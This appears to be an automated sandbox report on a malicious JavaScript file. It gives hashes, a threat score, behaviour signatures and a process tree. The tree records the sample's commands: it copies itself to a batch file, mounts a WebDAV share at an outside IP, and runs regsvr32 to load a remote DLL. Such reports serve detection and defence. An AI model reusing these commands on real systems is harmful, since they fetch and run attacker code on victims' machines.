Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/07/2024, 01:02

General

  • Target

    071731f2feaceed7434bca954da10d71e71bda331c97357f87015a87c5e41fc3.js

  • Size

    5KB

  • MD5

    ccd4b340a1cec3ff639fc6b52ae0f087

  • SHA1

    041a5e21d19e954c0082aa43760fba91ad22fb2a

  • SHA256

    071731f2feaceed7434bca954da10d71e71bda331c97357f87015a87c5e41fc3

  • SHA512

    c7716d4d39f64e0d1b01ee5291c9815e55f6280a6881dfe0e42143bbb1dfc5e010088ce5b0a01fcdf7180229a6bb1bbc7781afcda4cab3685c5d1edbbf969602

  • SSDEEP

    96:kRgNjNae7AiJNMwTPeGBhOWCMR5UAjCrdBRz2SkZ5:kWNBae7rJOwT2GBhsR/9NkD

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\071731f2feaceed7434bca954da10d71e71bda331c97357f87015a87c5e41fc3.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2984
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\071731f2feaceed7434bca954da10d71e71bda331c97357f87015a87c5e41fc3.js" "C:\Users\Admin\\rvhkon.bat" && "C:\Users\Admin\\rvhkon.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:760
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:1596
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\834.dll
          3⤵
            PID:908

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\rvhkon.bat

        Filesize

        5KB

        MD5

        ccd4b340a1cec3ff639fc6b52ae0f087

        SHA1

        041a5e21d19e954c0082aa43760fba91ad22fb2a

        SHA256

        071731f2feaceed7434bca954da10d71e71bda331c97357f87015a87c5e41fc3

        SHA512

        c7716d4d39f64e0d1b01ee5291c9815e55f6280a6881dfe0e42143bbb1dfc5e010088ce5b0a01fcdf7180229a6bb1bbc7781afcda4cab3685c5d1edbbf969602